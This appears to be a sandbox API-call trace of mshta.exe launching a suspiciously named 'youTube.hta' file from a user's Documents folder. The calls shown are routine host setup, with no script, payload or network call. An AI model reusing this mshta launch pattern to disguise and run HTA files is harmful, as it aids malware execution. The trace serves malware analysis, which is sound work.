[0193.048] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b1d38, cbMultiByte=-1, lpWideCharStr=0x862300, cchWideChar=124 | out: lpWideCharStr="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} ") returned 124
[0193.051] RegisterApplicationRestart (pwzCommandline="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} ", dwFlags=0x0) returned 0x0
[0193.051] free (_Block=0x862300)
[0193.052] GetProcAddress (hModule=0x6dc70000, lpProcName="RunHTMLApplication") returned 0x6e7f5bb0
[0193.060] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x19fe68, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x19fe68, ResultLength=0x0) returned 0x0
[0193.060] GetCommandLineW () returned="\"C:\\Windows\\SysWOW64\\mshta.exe\" \"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} "
[0193.060] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfc) returned 0x6b99c0
[0193.061] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.061] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75160000
[0193.082] GetProcAddress (hModule=0x75160000, lpProcName="OleInitialize") returned 0x75188230
[0193.082] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fdfc | out: lpflOldProtect=0x19fdfc*=0x4) returned 1
[0193.082] OleInitialize (pvReserved=0x0) returned 0x0
[0193.394] IsWindow (hWnd=0x0) returned 0
[0193.395] RegisterClassW (lpWndClass=0x19fe30) returned 0xc242
[0193.398] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0xbb0000, lpParam=0x6ee36780) returned 0x403c0
[0193.411] NtdllDefWindowProc_W () returned 0x0
[0193.411] NtdllDefWindowProc_W () returned 0x1
[0193.418] NtdllDefWindowProc_W () returned 0x0
[0193.427] NtdllDefWindowProc_W () returned 0x0
[0193.428] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x403c0, hMenu=0x0, hInstance=0xbb0000, lpParam=0x6ee36780) returned 0x40264
[0193.429] NtdllDefWindowProc_W () returned 0x0
[0193.429] NtdllDefWindowProc_W () returned 0x1
[0193.430] NtdllDefWindowProc_W () returned 0x0
[0193.431] NtdllDefWindowProc_W () returned 0x0
[0193.434] SetWindowLongW (hWnd=0x40264, nIndex=-16, dwNewLong=-2100363264) returned 114229248
[0193.434] NtdllDefWindowProc_W () returned 0x0
[0193.434] NtdllDefWindowProc_W () returned 0x0
[0193.447] NtdllDefWindowProc_W () returned 0x0
[0193.447] NtdllDefWindowProc_W () returned 0x0
[0193.447] NtdllDefWindowProc_W () returned 0x0
[0193.452] SetWindowPos (hWnd=0x40264, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1
[0193.452] NtdllDefWindowProc_W () returned 0x0
[0193.452] NtdllDefWindowProc_W () returned 0x0
[0193.474] NtdllDefWindowProc_W () returned 0x0
[0193.476] SendMessageW (hWnd=0x40264, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0
[0193.476] NtdllDefWindowProc_W () returned 0x0
[0193.477] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xfc) returned 0x6ccac8
[0193.477] PathGetArgsW (pszPath="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} ") returned="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} "
[0193.477] wcsncmp (_String1="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}", _String2="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}", _MaxCount=0x26) returned 0
[0193.477] wcsstr (_Str="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} ", _SubStr="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}") returned="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} "
[0193.477] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.478] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x75790000
[0193.478] GetProcAddress (hModule=0x75790000, lpProcName="PathRemoveArgsW") returned 0x757a7e30
[0193.479] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fdd8 | out: lpflOldProtect=0x19fdd8*=0x4) returned 1
[0193.480] PathRemoveArgsW (in: pszPath="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}" | out: pszPath="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\"")
[0193.483] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x60) returned 0x6ccbd0
[0193.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6ccbd0, Size=0x62) returned 0x6ccbd0
[0193.483] memcpy_s (in: _Destination=0x6ccc2e, _DestinationSize=0x2, _Source=0x6ccbc0, _SourceSize=0x2 | out: _Destination=0x6ccc2e) returned 0x0
[0193.483] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x6b99c0, Size=0x62) returned 0x6b99c0
[0193.483] PathRemoveBlanksW (in: pszPath="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\"" | out: pszPath="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\"")
[0193.483] PathUnquoteSpacesW (in: lpsz="\"C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta\"" | out: lpsz="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta") returned 1
[0193.484] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ccbd0 | out: hHeap=0x6b0000) returned 1
[0193.484] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.484] GetProcAddress (hModule=0x70a40000, lpProcName="CreateURLMonikerEx") returned 0x70a785b0
[0193.484] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fdcc | out: lpflOldProtect=0x19fdcc*=0x4) returned 1
[0193.485] CreateURLMonikerEx (in: pMkCtx=0x0, szURL="C:\\Users\\RDhJ0CNFevzX\\Documents\\youTube.hta", ppmk=0x19fe7c*=0x0, dwFlags=0x1 | out: ppmk=0x19fe7c*=0x6c2280) returned 0x0
[0193.489] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6ccac8 | out: hHeap=0x6b0000) returned 1
[0193.490] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c4e20
[0193.490] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.491] GetProcAddress (hModule=0x754b0000, lpProcName="CoCreateInstance") returned 0x75530060
[0193.491] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19fdb0 | out: lpflOldProtect=0x19fdb0*=0x4) returned 1
[0193.492] CoCreateInstance (in: rclsid=0x6ddef988*(Data1=0x3050f5c8, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6dccc640*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x6ee367d4 | out: ppv=0x6ee367d4*=0x6420000) returned 0x0
[0193.582] InitOnceExecuteOnce (in: InitOnce=0x6ee3927c, InitFn=0x6e32e660, Parameter=0x0, Context=0x0 | out: InitOnce=0x6ee3927c, Parameter=0x0, Context=0x0) returned 1
[0193.582] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.582] GetProcAddress (hModule=0x75160000, lpProcName="CoIncrementMTAUsage") returned 0x75505a00
[0193.582] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ee28 | out: lpflOldProtect=0x19ee28*=0x4) returned 1
[0193.583] CoIncrementMTAUsage (in: pCookie=0x19ee9c | out: pCookie=0x19ee9c) returned 0x0
[0193.584] malloc (_Size=0x174) returned 0x86eb48
[0193.584] malloc (_Size=0x294) returned 0x86ecc8
[0193.585] malloc (_Size=0xc8) returned 0x63048e0
[0193.586] RegisterClassExW (param_1=0x19edd0) returned 0xc0ed
[0193.586] CreateWindowExW (dwExStyle=0x8000080, lpClassName=0xc0ed, lpWindowName=0x0, dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x6dc70000, lpParam=0x0) returned 0xa01d6
[0193.587] GetWindowLongW (hWnd=0xa01d6, nIndex=-20) returned 134217856
[0193.587] NtdllDefWindowProc_W () returned 0x1
[0193.588] NtdllDefWindowProc_W () returned 0x0
[0193.588] NtdllDefWindowProc_W () returned 0x0
[0193.589] NtdllDefWindowProc_W () returned 0x0
[0193.589] NtdllDefWindowProc_W () returned 0x0
[0193.589] ShowWindow (hWnd=0xa01d6, nCmdShow=8) returned 0
[0193.589] NtdllDefWindowProc_W () returned 0x0
[0193.589] NtdllDefWindowProc_W () returned 0x0
[0193.599] NtdllDefWindowProc_W () returned 0x0
[0193.600] SetWindowPos (hWnd=0xa01d6, hWndInsertAfter=0x1, X=0, Y=0, cx=0, cy=0, uFlags=0x13) returned 1
[0193.600] NtdllDefWindowProc_W () returned 0x0
[0193.602] NtdllDefWindowProc_W () returned 0x0
[0193.602] GetModuleHandleW (lpModuleName="user32") returned 0x74790000
[0193.603] GetProcAddress (hModule=0x74790000, lpProcName="SetCoalescableTimer") returned 0x747c8a70
[0193.603] CreateCompatibleDC (hdc=0x0) returned 0x55010a7a
[0193.603] GetDeviceCaps (hdc=0x55010a7a, index=88) returned 96
[0193.604] GetCurrentProcess () returned 0xffffffff
[0193.604] GetSystemMetrics (nIndex=1) returned 900
[0193.604] GetSystemMetrics (nIndex=0) returned 1440
[0193.604] GetSystemMetrics (nIndex=68) returned 4
[0193.604] GetSystemMetrics (nIndex=69) returned 4
[0193.604] GetSystemMetrics (nIndex=2) returned 17
[0193.604] GetSystemMetrics (nIndex=3) returned 17
[0193.604] SystemParametersInfoW (in: uiAction=0x29, uiParam=0x1f8, pvParam=0x19ec50, fWinIni=0x0 | out: pvParam=0x19ec50) returned 1
[0193.604] CreateFontIndirectW (lplf=0x19ede8) returned 0x290a0a7e
[0193.605] SelectObject (hdc=0x55010a7a, h=0x290a0a7e) returned 0x18a0048
[0193.605] GetTextMetricsW (in: hdc=0x55010a7a, lptm=0x19ee6c | out: lptm=0x19ee6c) returned 1
[0193.605] SelectObject (hdc=0x55010a7a, h=0x18a0048) returned 0x290a0a7e
[0193.605] DeleteObject (ho=0x290a0a7e) returned 1
[0193.605] GetSystemDefaultLCID () returned 0x409
[0193.605] GetUserDefaultLCID () returned 0x409
[0193.605] GetACP () returned 0x4e4
[0193.605] GetLocaleInfoW (in: Locale=0x400, LCType=0x20001014, lpLCData=0x19ee30, cchData=2 | out: lpLCData="\x01") returned 2
[0193.605] GetLocaleInfoW (in: Locale=0x400, LCType=0x13, lpLCData=0x19ee34, cchData=11 | out: lpLCData="0123456789") returned 11
[0193.606] SystemParametersInfoW (in: uiAction=0x46, uiParam=0x0, pvParam=0x6ee3f8f0, fWinIni=0x0 | out: pvParam=0x6ee3f8f0) returned 1
[0193.606] SystemParametersInfoW (in: uiAction=0x42, uiParam=0xc, pvParam=0x19ee44, fWinIni=0x0 | out: pvParam=0x19ee44) returned 1
[0193.606] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.606] LoadLibraryExA (lpLibFileName="UxTheme.dll", hFile=0x0, dwFlags=0x0) returned 0x706d0000
[0193.607] GetProcAddress (hModule=0x706d0000, lpProcName=0x6ed1552a) returned 0x70704660
[0193.607] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ede8 | out: lpflOldProtect=0x19ede8*=0x4) returned 1
[0193.607] IsAppThemed () returned 0x1
[0193.607] SystemParametersInfoW (in: uiAction=0x1042, uiParam=0x0, pvParam=0x6ed222e4, fWinIni=0x0 | out: pvParam=0x6ed222e4) returned 1
[0193.607] SystemParametersInfoW (in: uiAction=0x103e, uiParam=0x0, pvParam=0x6ed222e8, fWinIni=0x0 | out: pvParam=0x6ed222e8) returned 1
[0193.607] malloc (_Size=0xb4) returned 0x63049b0
[0193.608] malloc (_Size=0xc0) returned 0x6304a70
[0193.615] malloc (_Size=0xfc) returned 0x6304b38
[0193.616] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0xd0) returned 0x6cffe8
[0193.616] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1f0
[0193.616] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x8) returned 0x6c49d0
[0193.616] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1f4
[0193.617] GetCurrentThreadId () returned 0x7a0
[0193.629] malloc (_Size=0xcc) returned 0x6304c40
[0193.630] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x6c4f28
[0193.630] GetSystemWindowsDirectoryW (in: lpBuffer=0x19ecd8, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa
[0193.630] CreateActCtxW (pActCtx=0x19ecb8) returned 0x6d00c4
[0193.635] ActivateActCtx (in: hActCtx=0x6d00c4, lpCookie=0x19ec84 | out: hActCtx=0x6d00c4, lpCookie=0x19ec84) returned 1
[0193.635] LoadLibraryExW (lpLibFileName="comctl32.dll", hFile=0x0, dwFlags=0x0) returned 0x6f000000
[0193.650] DeactivateActCtx (dwFlags=0x0, ulCookie=0x17360001) returned 1
[0193.650] malloc (_Size=0x304) returned 0x6304da0
[0193.650] GetCurrentProcess () returned 0xffffffff
[0193.650] GetCurrentThread () returned 0xfffffffe
[0193.650] GetCurrentProcess () returned 0xffffffff
[0193.650] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0xfffffffe, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x6304dd0, dwDesiredAccess=0x4a, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x6304dd0*=0x204) returned 1
[0193.650] GetCurrentThreadId () returned 0x7a0
[0193.650] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x200
[0193.650] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x208
[0193.650] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x20c
[0193.650] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x210
[0193.650] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x214
[0193.650] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x6e33a820, _ArgList=0x86c148, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x218
[0193.651] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19ee48*=0x210, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0193.713] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x21c
[0193.713] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x220
[0193.713] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x6e33a820, _ArgList=0x86c170, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x224
[0193.714] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19ee48*=0x21c, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0193.753] _beginthreadex (in: _Security=0x0, _StackSize=0x493e0, _StartAddress=0x6e330a20, _ArgList=0x862848, _InitFlag=0x10000, _ThrdAddr=0x0 | out: _ThrdAddr=0x0) returned 0x228
[0193.756] WaitForMultipleObjectsEx (nCount=0x2, lpHandles=0x19ee6c*=0x200, bWaitAll=0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0
[0193.785] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollDelay", nDefault=50) returned 0x32
[0193.785] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=200) returned 0xc8
[0193.785] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInterval", nDefault=50) returned 0x32
[0193.785] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x19ed0c, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d
[0193.790] PathFindFileNameW (pszPath="C:\\Windows\\SysWOW64\\mshta.exe") returned="mshta.exe"
[0193.790] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x14) returned 0x6c5ab8
[0193.790] IsInternetESCEnabled () returned 0x0
[0193.790] RegGetValueW (in: hkey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer", lpValue="NoFileMenu", dwFlags=0xffff, pdwType=0x19ecf8, pvData=0x19ecfc, pcbData=0x19ed04*=0x4 | out: pdwType=0x19ecf8*=0x0, pvData=0x19ecfc, pcbData=0x19ed04*=0x4) returned 0x2
[0193.791] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.791] malloc (_Size=0x15c) returned 0x63050b0
[0193.792] QueryPerformanceFrequency (in: lpFrequency=0x19eec0 | out: lpFrequency=0x19eec0*=100000000) returned 1
[0193.792] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.792] malloc (_Size=0x194) returned 0x6305930
[0193.793] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.793] malloc (_Size=0xec) returned 0x6305ad0
[0193.793] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.793] malloc (_Size=0x170) returned 0x6305bc8
[0193.794] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788
[0193.794] MulDiv (nNumber=1073741823, nNumerator=96, nDenominator=1440) returned 71582788
[0193.794] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.794] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.794] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.794] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.795] GetCurrentThreadId () returned 0x7a0
[0193.795] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.795] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.795] malloc (_Size=0x114) returned 0x6305d40
[0193.795] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.796] malloc (_Size=0xd4) returned 0x6305e60
[0193.796] RegisterClipboardFormatW (lpszFormat="WM_HTML_GETOBJECT") returned 0xc0ee
[0193.796] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.796] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.796] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.797] GetProcAddress (hModule=0x70a40000, lpProcName="CoInternetCreateSecurityManager") returned 0x70a9efe0
[0193.797] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ee64 | out: lpflOldProtect=0x19ee64*=0x4) returned 1
[0193.797] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x6ee33db0, dwReserved=0x0 | out: ppSM=0x6ee33db0*=0x6c0360) returned 0x0
[0193.805] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.805] malloc (_Size=0xe0) returned 0x6305f40
[0193.805] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0193.806] GetCurrentProcess () returned 0xffffffff
[0193.806] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19eeb0 | out: TokenHandle=0x19eeb0*=0x244) returned 1
[0193.806] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x4, lpflOldProtect=0x6ed33704 | out: lpflOldProtect=0x6ed33704*=0x2) returned 1
[0193.806] LoadLibraryExA (lpLibFileName="srpapi.dll", hFile=0x0, dwFlags=0x0) returned 0x6ffd0000
[0194.406] GetProcAddress (hModule=0x6ffd0000, lpProcName="SrpGetEnterpriseIds") returned 0x6ffd80f0
[0194.407] VirtualProtect (in: lpAddress=0x6ee47000, dwSize=0xb44, flNewProtect=0x2, lpflOldProtect=0x19ee2c | out: lpflOldProtect=0x19ee2c*=0x4) returned 1
[0194.407] SrpGetEnterpriseIds () returned 0x0
[0194.407] CloseHandle (hObject=0x244) returned 1
[0194.408] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.408] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.408] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x60) returned 0x6c5138
[0194.408] GetDoubleClickTime () returned 0x1f4
[0194.408] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.408] GetProfileIntA (lpAppName="windows", lpKeyName="DragScrollInset", nDefault=11) returned 0xb
[0194.410] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.410] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.410] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.410] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.410] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.411] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.411] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.411] malloc (_Size=0x164) returned 0x63060b0
[0194.411] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.411] malloc (_Size=0xb8) returned 0x6306220
[0194.412] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.413] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.413] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.413] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.413] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] memcpy_s (in: _Destination=0x6418180, _DestinationSize=0xb8, _Source=0x19e568, _SourceSize=0xb8 | out: _Destination=0x6418180) returned 0x0
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.414] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.415] malloc (_Size=0x16c) returned 0x63062e0
[0194.422] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.422] malloc (_Size=0xac) returned 0x6306458
[0194.422] memcpy_s (in: _Destination=0x6442000, _DestinationSize=0x158, _Source=0x19e680, _SourceSize=0x158 | out: _Destination=0x6442000) returned 0x0
[0194.422] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.422] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.423] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.423] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.423] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.423] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.423] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.423] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] malloc (_Size=0x180) returned 0x6306510
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.424] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.425] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.426] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.427] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.505] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.506] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.506] malloc (_Size=0xa8) returned 0x6306698
[0194.506] GetCurrentThreadId () returned 0x7a0
[0194.506] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.506] RtlTryEnterCriticalSection (CriticalSection=0x862760) returned 1
[0194.507] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0x19ea7c | out: ppURI=0x19ea7c*=0x6cccbc) returned 0x0
